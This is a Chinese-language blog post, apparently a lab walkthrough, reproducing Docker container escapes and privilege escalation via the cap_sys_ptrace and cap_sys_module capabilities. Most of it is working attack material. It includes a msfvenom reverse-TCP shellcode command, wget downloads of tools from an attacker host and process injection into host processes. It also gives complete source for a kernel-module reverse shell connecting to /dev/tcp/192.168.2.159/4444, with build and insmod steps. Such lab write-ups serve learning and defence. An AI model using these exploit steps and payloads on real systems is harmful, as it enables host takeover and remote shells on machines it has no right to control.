书接上回,我们在上一篇博客中对一些capabilities权限导致的提权、逃逸问题进行复现后,对capabilities有了一个比较清晰的认知。capabilities权限的赋予一旦出现恶意利用将导致十分恶劣的后果。今天我们继续上次的内容,对几个capabilities权限会导致的安全问题进行进一步的梳理。
附上参考文章的链接
cap_sys_pstrace的作用就是可以允许跟踪任何进程,当docker容器开启这个权限的时候,容器内的进程就可以跟踪任何可以访问到的进程,对其进行进程注入从而获取进程的系统权限。当然这一切的前提是在docker内部可以看到系统的运行进程,并且是在关闭docker的保护模式的情况下。那么下面我会在centos7和ubuntu两个操作系统下进行这一逃逸的复现。
环境准备:
centos7 *1
ubuntu22 *1
kali linux *1
一些好运气 *1
docker run -it --pid=host --cap-add=SYS_PTRACE --security-opt=seccomp:unconfined ubuntu
查看当前的进程与所拥有的权限
#查看进程
root@d4d47fe02ddf:/# ps -eaf
#查看权限
root@d4d47fe02ddf:/# grep Cap /proc/$$/status
CapInh: 00000000a80c25fb
CapPrm: 00000000a80c25fb
CapEff: 00000000a80c25fb
CapBnd: 00000000a80c25fb
CapAmb: 0000000000000000
┌──(rootkali)-[~]
└─# capsh --decode=00000000a80c25fb
0x00000000a80c25fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
那么从此处可以清楚的看到,进程追踪权限有了,也能看见系统进程了。那么环境是已经搭建好了
鉴于先前使用的脚本在注入时的表现,我们此次使用另一位高手的脚本。git源
下载源码包,放到攻击机上去进行编译
┌──(rootkali)-[/home/batman]
└─# unzip linux-injector-master.zip
#安装frame http://flatassembler.net/download.php
#上传frame至服务器、解压
┌──(rootkali)-[/home/batman]
└─# tar zxf fasm-1.73.30.tgz
#将fram加入环境变量
┌──(rootkali)-[/home/batman/fasm]
└─# vim /etc/profile
export PATH=$PATH:/home/batman/fasm
#更新环境变量
┌──(rootkali)-[~]
└─# source /etc/profile
#测试fasm
# fasm
flat assembler version 1.73.30
usage: fasm <source> [output]
optional settings:
-m <limit> set the limit in kilobytes for the available memory
-p <limit> set the maximum allowed number of passes
-d <name>=<value> define symbolic variable
-s <file> dump symbolic information for debugging
┌──(rootkali)-[/home/batman]
└─# cd linux-injector-master
┌──(rootkali)-[/home/batman/linux-injector-master]
└─# make
将本地工具打包,顺带生成需要使用的二进制shellcode
#1.生成二进制shellcode
┌──(rootkali)-[/home/batman]
└─# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.2.159 LPORT=2222 -f raw -o attack
#2.打包利用程序
┌──(rootkali)-[/home/batman]
└─# tar -zcvf attack02.tar.gz linux-injector-master
#3.启用python快速部署web服务
┌──(rootkali)-[/home/batman]
└─# python3 -m http.server 33333
Serving HTTP on 0.0.0.0 port 33333 (http://0.0.0.0:33333/) ...
#1.获取工具
root@d4d47fe02ddf:/# cd /tmp/
root@d4d47fe02ddf:/tmp# wget http://192.168.2.159:33333/attack
root@d4d47fe02ddf:/tmp# wget http://192.168.2.159:33333/attack02.tar.gz
##解压缩
root@d4d47fe02ddf:/tmp# tar xvf attack02.tar.gz
root@d4d47fe02ddf:/tmp# mv attack ./linux-injector-master/
root@d4d47fe02ddf:/tmp# cd linux-injector-master/
#2.寻找进程
ps -eaf
#3.进程注入,提前在攻击机上监听端口
./inject 65431 attack
保持刚才的kali相关配置不变,我们在ubuntu上启动实验环境
root@ubuntubstone:~# docker run -it --cap-add=sys_ptrace --security-opt=apparmor:unconfined --security-opt=seccomp:unconfined --pid=host ubuntu
测试权限与进程可见度
root@f0226a22f2e1:/# ps -eaf | grep root
root@f0226a22f2e1:/# grep Cap /proc/$$/status
CapInh: 0000000000000000
CapPrm: 00000000a80c25fb
CapEff: 00000000a80c25fb
CapBnd: 00000000a80c25fb
CapAmb: 0000000000000000
此时直接利用kali里面已经编译好的程序直接进行进程注入
#启动共享
┌──(rootkali)-[~/dockerout]
└─# python3 -m http.server 33333
#docker内部下载文件
root@f0226a22f2e1:/# wget http://192.168.2.159:33333/attack
root@f0226a22f2e1:/# wget http://192.168.2.159:33333/attack02.tar.gz
#文件解压
root@f0226a22f2e1:/# tar -xvf attack02.tar.gz
root@f0226a22f2e1:/# mv attack ./linux-injector-master/
#寻找目标进程
root@f0226a22f2e1:/linux-injector-master# ps -eaf | grep root
#尝试注入,注意在攻击机上开启端口监听
root@f0226a22f2e1:/linux-injector-master# ./injector 9963 attack
逃逸成功。
注:这里实在找不到可注入的进程就尝试自己启动一个python的http来测试
到此处,关于进程追踪的capabilities可能导致的安全问题就梳理完毕了。我们再往下看。
CAP_SYS_MODULE allows the process to load and unload arbitrary kernel modules (init_module(2), finit_module(2) and delete_module(2) system calls). This could lead to trivial privilege escalation and ring-0 compromise. The kernel can be modified at will, subverting all system security, Linux Security Modules, and container systems.
capabilities中的CAP_SYS_MODULE权限可以允许我们进行内核模块的插拔,其会导致不费吹灰之力的特权逃逸。下面通过两个例子来展示这一权限所会导致的安全问题。
当python程序获得cap_sys_module权限后,会导致普通用户利用其可以进行权限提升。
此处赋予python程序权限
root@ubuntubstone:~# setcap cap_sys_module+ep /bin/python2.7
root@ubuntubstone:~# getcap /bin/python2.7
/bin/python2.7 cap_sys_module=ep
#将内核目录复制一份用于伪造,这里可以使用uname -a查看内核版本(一定要对应起来)
batman@ubuntubstone:~$ mkdir lib/modules -p
batman@ubuntubstone:~$ uname -a
Linux ubuntubstone 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
batman@ubuntubstone:~$ cp -a /lib/modules/5.15.0-56-generic/ lib/modules/$(uname -r)
#将我们的恶意模块放到欺骗目录下去---详情见docker逃逸的第三点
batman@ubuntubstone:~$ cp /home/batman/test/test1/reverse-shell.ko lib/modules/$(uname -r)
import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")
创建文件,使用脚本进行提权。
batman@ubuntubstone:~/lib$ vim reverse.py
batman@ubuntubstone:~/lib$ /bin/python2.7 reverse.py
这里会报一个错误:
kmod作为已经被淘汰了的模块想要将其安装回来需要进行一些特殊的操作:
#下载python2适配的pip包,进行安装(此处注意使用root权限,不然会闪红)
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
root@ubuntubstone:~/lib$ python2.7 get-pip.py
root@ubuntubstone:/home/batman/lib# pip -V
pip 20.3.4 from /usr/local/lib/python2.7/dist-packages/pip (python 2.7)
#安装kmod ---
#报错缺失 .h头文件则apt-get install python2.7-dev
#apt-get install libkmod-dev 也可以试试
root@ubuntubstone:/home/batman/lib# pip install kmod
再次测试:
#刷新模块依赖---在伪造lib目录的上一级目录调用
batman@ubuntubstone:~$ depmod -a -b ./
batman@ubuntubstone:~/lib$ /bin/python2.7 reverse.py
宿主机开启kmod文件的cap_sys_module
权限 — 这保证其他的进程可以使用insmod
去插入内核模块。
root@ubuntubstone:~# setcap cap_sys_module+ep /bin/kmod
root@ubuntubstone:~# getcap /bin/kmod
/bin/kmod cap_sys_module=ep
启动开启了权限的docker—这里经查阅资料,正常的应用环境是用户试图向docker内部挂入内核模块,有一套特殊的操作(权限放开,内核挂载)。因为涉及结构的原因,docker和宿主机使用的其实是共享内核,故想要在docker内部使用系统内核就需要用户自行将内核挂载进来。
#以特殊状态启动docker 宿主机目录在前
docker run -it --name container_name \
--privileged \
--cap-add=ALL \
-v /dev:/dev \
-v /lib/modules:/lib/modules \
-v /usr/src:/usr/src \
ubuntu
#权限检查
root@d3ff7cf60a25:/# grep Cap /proc/$$/status
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
┌──(rootkali)-[~]
└─# capsh --decode=0000003fffffffff 1 ⨯
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
#内核模块检查
root@d3ff7cf60a25:/# ll /lib/modules/
total 16
drwxr-xr-x 4 root root 4096 Dec 12 13:47 ./
drwxr-xr-x 1 root root 4096 Jan 1 10:07 ../
drwxr-xr-x 5 root root 4096 Aug 9 11:51 5.15.0-43-generic/
drwxr-xr-x 5 root root 4096 Dec 12 13:47 5.15.0-56-generic/
可以看到,这里是有sys_moudle
权限的,并且可以看到挂载进来的内核模块
这里借用作者给出的内核文件reverse-shell.c
#include
#include
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.2.159/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
创建Makefile
文件对其进行编译:当前目录输入make,注意文件名的一致性以及行内使用的时tab
不是空格
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
编译
root@0439e6e1edcb:/tmp# vim reverse-shell.c
root@0439e6e1edcb:/tmp# vim Makefile
root@0439e6e1edcb:/tmp# make
鉴于这里再docker环境中尝试去编译出一个合适的内核模块相对困难,可以查清楚内核版本,在相同的环境下编译出对应的内核模块,再投放到环境内进行恶意模块的插入。
insmod reverse-shell.ko
模块操作常用命令:
(1)lsmod(list module,将模块列表显示),功能是打印出当前内核中已经安装的模块列表
(2)insmod(install module,安装模块),功能是向当前内核中去安装一个模块,用法是insmod xxx.ko
(3)modinfo(module information,模块信息),功能是打印出一个内核模块的自带信息。,用法是modinfo xxx.ko,注意要加.ko,也就是说是一个静态的文件形式。
(4)rmmod(remove module,卸载模块),功能是从当前内核中卸载一个已经安装了的模块,用法是rmmod xxx.ko rmmod xxx都可以
到此,我们加深了cap_sys_pstrace的印象,又了解了关于cap_sys_module权限对于内核模块的操作所引发的提权以及docker逃逸。更多的内容在后面的学习中我会在对其进行总结,归纳。感谢阅读。